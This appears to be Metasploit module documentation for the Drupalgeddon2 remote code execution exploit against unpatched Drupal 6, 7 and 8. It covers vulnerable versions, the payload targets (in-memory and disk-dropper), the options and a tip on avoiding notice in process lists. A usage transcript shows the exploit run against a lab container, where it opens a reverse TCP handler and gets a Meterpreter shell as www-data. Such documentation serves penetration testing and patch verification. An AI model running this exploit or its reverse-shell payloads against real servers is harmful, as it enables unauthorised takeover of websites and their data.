## Introduction

This module exploits a Drupal property injection in the Forms API.
Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.

## Setup

Use the provided Docker images here: <https://hub.docker.com/_/drupal/>.

Alternatively, you may use TurnKey Linux's distributions:

Drupal 7.54: <http://mirror.turnkeylinux.org/turnkeylinux/images/iso/turnkey-drupal7-14.2-jessie-amd64.iso>
Drupal 8.3.1: <http://mirror.turnkeylinux.org/turnkeylinux/images/iso/turnkey-drupal8-14.2-jessie-amd64.iso>

Tested on 7.57 and 8.4.5 in Docker and 7.54 and 8.3.1 in TurnKey.

## Targets

```
Id  Name
--  ----
0   Automatic (PHP In-Memory)
1   Automatic (PHP Dropper)
2   Automatic (Unix In-Memory)
3   Automatic (Linux Dropper)
4   Drupal 7.x (PHP In-Memory)
5   Drupal 7.x (PHP Dropper)
6   Drupal 7.x (Unix In-Memory)
7   Drupal 7.x (Linux Dropper)
8   Drupal 8.x (PHP In-Memory)
9   Drupal 8.x (PHP Dropper)
10  Drupal 8.x (Unix In-Memory)
11  Drupal 8.x (Linux Dropper)
```

Automatic targeting means the Drupal version will be detected first.
Targets with a specific version will do as they're told (regardless of
what the server is running).

Dropper targets write to disk. In-memory targets don't. Be mindful of
showing up in someone's process list, though. A dropper might be more
viable in that regard.

## Options

**TARGETURI**

Set this to the remote path of the vulnerable Drupal install. Defaults
to `/` for the web root.

**PHP_FUNC**

Set this to the PHP function you'd like to execute. Defaults to
`passthru`.

**DUMP_OUTPUT**

Enable this if you'd like to see HTTP responses, including command
output. Defaults to `false` unless `cmd/unix/generic` is your payload.

**VERBOSE**

Enable this to show what function and command were executed. Defaults to
`false` due to the sometimes excessive output.

**ForceExploit**

Enable this to force exploitation regardless of the check result.
Defaults to `false`, meaning the check result is respected.

**WritableDir**

Set this to a writable directory without `noexec` for binary payloads.
Defaults to `/tmp`, but other options may include `/var/tmp` and
`/dev/shm`.

## Usage

Drupal 7.57 from the Docker image is tested below.

```
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 172.17.0.3
rhost => 172.17.0.3
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set verbose true
verbose => true
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > check

[*] Drupal 7 targeted at http://172.17.0.3/
[+] Drupal appears unpatched in CHANGELOG.txt
[*] Executing with printf(): sdHl4fLONOKfVZL1cEvXuJCuSkue
[+] Drupal is vulnerable to code execution
[+] 172.17.0.3:80 The target is vulnerable.
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Drupal 7 targeted at http://172.17.0.3/
[+] Drupal appears unpatched in CHANGELOG.txt
[*] Executing with printf(): paAHBb9jyovEnLrrT5lMIB
[+] Drupal is vulnerable to code execution
[*] Executing with assert(): eval(base64_decode( . ));
[*] Sending stage (37775 bytes) to 172.17.0.3
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.3:46654) at 2018-04-24 23:25:17 -0500

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer    : b3a405d5568a
OS          : [redacted]
Meterpreter : php/linux
meterpreter >
```
